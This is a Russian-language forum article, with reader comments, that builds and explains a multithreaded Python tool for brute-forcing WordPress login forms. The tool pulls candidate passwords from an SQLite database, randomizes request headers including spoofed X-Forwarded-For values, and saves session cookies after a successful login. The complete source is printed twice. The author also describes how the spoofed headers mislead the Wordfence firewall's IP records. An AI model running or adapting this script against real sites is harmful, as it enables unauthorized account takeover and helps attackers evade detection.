Статья Python+requests+threading. Перебор пароля в формах авторизации

Приветствую всех специалистов и заинтересованных Информационной Безопасностью на этом замечательном ресурсе. Продолжаю свой цикл статей по изучению языков программирования.

С публикации моей последней статьи прошло ~2 месяца и в обсуждении к ней я пообещал написать новый скрипт/программу, которая бы:
1. Использовала бы замечательный модуль requests;
2. Использовала бы многопоточность через модуль threading;
3. Забирала бы пароли из готовой базы данных;
4. При новом POST-запросе к форме авторизации меняла бы «случайно» заголовки.
Сразу прошу прощения за столь долгое отсутствие на форуме, но задачу я выполнил, а Вам ее оценивать. Ну что начнем?!

Подготовка

Поставим задачу следующим образом. У нас будет некий сайт, на котором будет открыта форма авторизации, CMS я выбрал Wordpress и что бы долго не морочится скачал готовый

Ссылка скрыта от гостей

из интернета, который поднял на VMware Workstation 14.
Из стороннего программного обеспечения нам потребуется Wireshark, что бы отлавливать правильность наших запросов,а для формирования БД потребуется

Ссылка скрыта от гостей

.
Также рекомендовано к прочтению, хотя бы по диагонали —

Ссылка скрыта от гостей

.

Формируем базу данных

С помощью SQLiteStudio сформируем базу данных с двумя таблицами.

Первая таблица будет содержать следующие заголовки:
User-agent – Заголовок программного обеспечения клиента;
Accept – Заголовок списка допустимых форматов ресурса;
Accept-Language – Заголовок списка допустимых языков;
Connection – Соединение;
Accept-Encoding – Поддерживаемые способы кодирования;
X-Forwarded-For – Определение IP-адреса при подключении к серверу через прокси.


Вторая же таблица будет содержать только пароли, логин мы будем задавать сами.


Программируем
Добавим в начало скрипта необходимые модули с которыми предстоит работать:

# -*- coding:utf-8 -*-
import requests
import argparse
import sqlite3
import threading
from queue import Queue

После этого напишем функцию, которая будет забирать аргументы из командной строки:

def createparser():
    parser = argparse.ArgumentParser(description='Для работы вводятся дополнительные параметры\'s')
    parser.add_argument('-url', '--u', help='Добавить URL формы авторизации', dest='url')
    parser.add_argument('-login', '--l', help='Имя пользователя', dest='login')
    parser.add_argument('-threads', '--t', help='Количество потоков', dest='thread')
    return parser

Для запуска напишем цикл, который будет собирать пароли из базы и запускать основные функции с передачей в них аргументов из CLI:

if __name__ == "__main__":

    try:
        parser = createparser()
        data = parser.parse_args()

        # Получаем пароли из базы пароли
        connector = sqlite3.connect('passBD.db')
        passwdbd = connector.cursor()
        passwdbd.execute('SELECT * FROM password')
        password = passwdbd.fetchall()

        main(password, data.login, data.url, int(data.thread))

    except TypeError:
        print("=" * 50)
        print(
            "| Скрипт не работает без дополнительных параметров | \n| \t Для начала попробуй > python main.py -h\t | ")
        print("=" * 50)
        print("email:sergmadox@yandex.com")

Функция main принимает список паролей, логин, ссылку и количество нужных нам потоков и запускает основной класс потоками, Queue же здесь используется для очередности, получил из списка пароль и при завершении одного потока запускается следующий:

def main(passwords, login, url, thread):
    queue = Queue()

    for i in range(thread):
        insts = WP(login, url, queue)
        insts.setDaemon(True)
        insts.start()

    for pwd in passwords:
        queue.put(pwd)

    queue.join()

Класс WP. Тут собственно и происходит вся «магия». Попробую описать, что тут происходит.
У класса несколько своих методов:
1. Метод headers, из первой таблицы нашей базы данных забирается случайно строка, которую мы раскладываем на словарь и этот результат возвращаем из функции, это и будут наши данные заголовков;
2. Метод run запускает поток, ждет когда прекратится поток и сообщает об этом;
3. Метод job собственно и организует отправку POST-запроса с нашими данными, после отправки данных мы инициируем запрос GETна админку CMS,в случае отрицательного результата нам не удастся получить куки, в случае положительного сервер их нам отправит, для того, что бы «запомнить» пользователя, по ним собственно и будем определять сработала наша пара логин-пароль или нет, все данные после успешной авторизации мы запишем в файл.

class WP(threading.Thread):
    def __init__(self, login, url, queue):
        threading.Thread.__init__(self)
        self.queue = queue
        self.login = login
        self.url = url

    def headers(self):
        connector_heads = sqlite3.connect('passBD.db')
        heads = connector_heads.cursor()
        heads.execute('SELECT * FROM headers ORDER BY random()')
        headers = heads.fetchone()
        result = {'user-agent': headers[0], 'Accept': headers[1], 'Accept-language': headers[2],
                  'Connection': headers[3], 'Accept-Encoding': headers[4], 'X-Forwarded-For': headers[5]}
        return result

    def run(self):
        while True:
            pwd = self.queue.get()

            self.job(pwd)

            self.queue.task_done()

    def job(self, pwd):
        head = WP.headers(self)
        print('Пробуем', self.login, pwd[0])
        s = requests.Session()
        data = {'log': self.login, 'pwd': pwd, 'wp-submit': 'Log In', 'redirect_to': self.url+'/wp-admin'}
        post_data = s.post(self.url+'/wp-login', data=data, headers=head)
        head.update({'Connection': 'close'})
        resp_data = s.get(self.url+'/wp-admin', headers=head)
        if len(s.cookies) > 2:
            print('Авторизация успешна c паролем:', pwd[0])
            with open('result.txt', "a") as file:
                file.write('Успешная авторизация с {} \n'.format(pwd[0]))
                for cookies in s.cookies:
                    file.write(str(cookies))
        else:
            print('Неудача')

Ну что, скрипт готов, пора его запустить и посмотреть, что происходит в Wireshark-e, а там у нас все вполне предсказуемо, отправляются POST, после него происходит GET.
Запускаем 6 потоков для пользователя user командой main.py -url

Ссылка скрыта от гостей

--l user --t 6:


Смотрим в Wireshark:




Обратите внимание какой GET приходит при подборе пароля:


Любопытный читатель конечно же спросит, а что со стороны сервера, а я отвечу на это вопрос. Пришлось немного подредактировать сбор логов на виртуальной машине и мы получаем вот такую картину:


Но что самое интересное, в основном основная уязвимость — это обыкновенная невнимательность или надежда на ПО, которое не пойми как работает, к чему я веду, поясню.
В админке CMS я установил модуль Wordfence(он имел 5 звезд), он вроде как и Firewall,который умеет отражать атаки и показывает много разных графиков, и т.д., но вот загвоздка, запустив с ним пару раз свой скрипт, в Wireshark в GET запросах я действительно увидел hacking-attempt, но в админке я увидел вот такую картину:


Что говорит, нам о том, что модуль как раз таки картину по IP-адресам сформировал из заголовков X-Forwarded-For нашей таблицы заголовков в БД, Вы можете сказать, что логи самого Apache скажут тебе, что запросы-то идут с одного IP-адреса, да, конечно, но вот будет ли владелец сайта читать и анализировать скучные логи ОС, что-то мне думается, что как раз поверят, вот такому ПО в процентах 50-60%, что нас с вами устраивает, пусть блокируют выдуманные IP-адреса.

Заключение
Данный скрипт не призыв к действию, а только возможность научится писать и использовать код в рабочих целях.

Спасибо что прочитали и всем удачи!

Листинг кода

# -*- coding:utf-8 -*-
import requests
import argparse
import sqlite3
import threading
from queue import Queue


def createparser():
    parser = argparse.ArgumentParser(description='Для работы вводятся дополнительные параметры\'s')
    parser.add_argument('-url', '--u', help='Добавить URL формы авторизации', dest='url')
    parser.add_argument('-login', '--l', help='Имя пользователя', dest='login')
    parser.add_argument('-threads', '--t', help='Количество потоков', dest='thread')
    return parser


class WP(threading.Thread):
    def __init__(self, login, url, queue):
        threading.Thread.__init__(self)
        self.queue = queue
        self.login = login
        self.url = url

    def headers(self):
        connector_heads = sqlite3.connect('passBD.db')
        heads = connector_heads.cursor()
        heads.execute('SELECT * FROM headers ORDER BY random()')
        headers = heads.fetchone()
        result = {'user-agent': headers[0], 'Accept': headers[1], 'Accept-language': headers[2],
                  'Connection': headers[3], 'Accept-Encoding': headers[4], 'X-Forwarded-For': headers[5]}
        return result

    def run(self):
        while True:
            pwd = self.queue.get()

            self.job(pwd)

            self.queue.task_done()

    def job(self, pwd):
        head = WP.headers(self)
        print('Пробуем', self.login, pwd[0])
        s = requests.Session()
        data = {'log': self.login, 'pwd': pwd, 'wp-submit': 'Log In', 'redirect_to': self.url+'/wp-admin'}
        post_data = s.post(self.url+'/wp-login', data=data, headers=head)
        head.update({'Connection': 'close'})
        resp_data = s.get(self.url+'/wp-admin', headers=head)
        if len(s.cookies) > 2:
            print('Авторизация успешна c паролем:', pwd[0])
            with open('result.txt', "a") as file:
                file.write('Успешная авторизация с {} \n'.format(pwd[0]))
                for cookies in s.cookies:
                    file.write(str(cookies))
        else:
            print('Неудача')


def main(passwords, login, url, thread):
    queue = Queue()

    for i in range(thread):
        insts = WP(login, url, queue)
        insts.setDaemon(True)
        insts.start()

    for pwd in passwords:
        queue.put(pwd)

    queue.join()


if __name__ == "__main__":

    try:
        parser = createparser()
        data = parser.parse_args()

        # Получаем пароли из базы пароли
        connector = sqlite3.connect('passBD.db')
        passwdbd = connector.cursor()
        passwdbd.execute('SELECT * FROM password')
        password = passwdbd.fetchall()

        main(password, data.login, data.url, int(data.thread))

    except TypeError:
        print("=" * 50)
        print(
            "| Скрипт не работает без дополнительных параметров | \n| \t Для начала попробуй > python main.py -h\t | ")
        print("=" * 50)
        print("email:sergmadox@yandex.com")

 

[gushmazuko]

Шикарна статья, респект автору!

 

[gnomex]

Все отлично. Но только одно странно - зачем делать так:

WP.headers(self)

Когда в питоне принято делать так:

self.headers()

В принципе и так и так можно, но просто для всех привычнее вторым способом.

 

[sm0ke]

Все отлично. Но только одно странно - зачем делать так:

WP.headers(self)

Когда в питоне принято делать так:

self.headers()

В принципе и так и так можно, но просто для всех привычнее вторым способом.

Ага, точно подмечено, без вас бы не увидел сам. Бывает)

 

[Pariah]

Понимаю, что статья "не новая", но всё же...
Где сравнение по скорости выполнения (перебора): с однопоточной версией и от количества используемых потоков?
И что с ней будет если добавить асинхронщины: asyncio/aiohttp?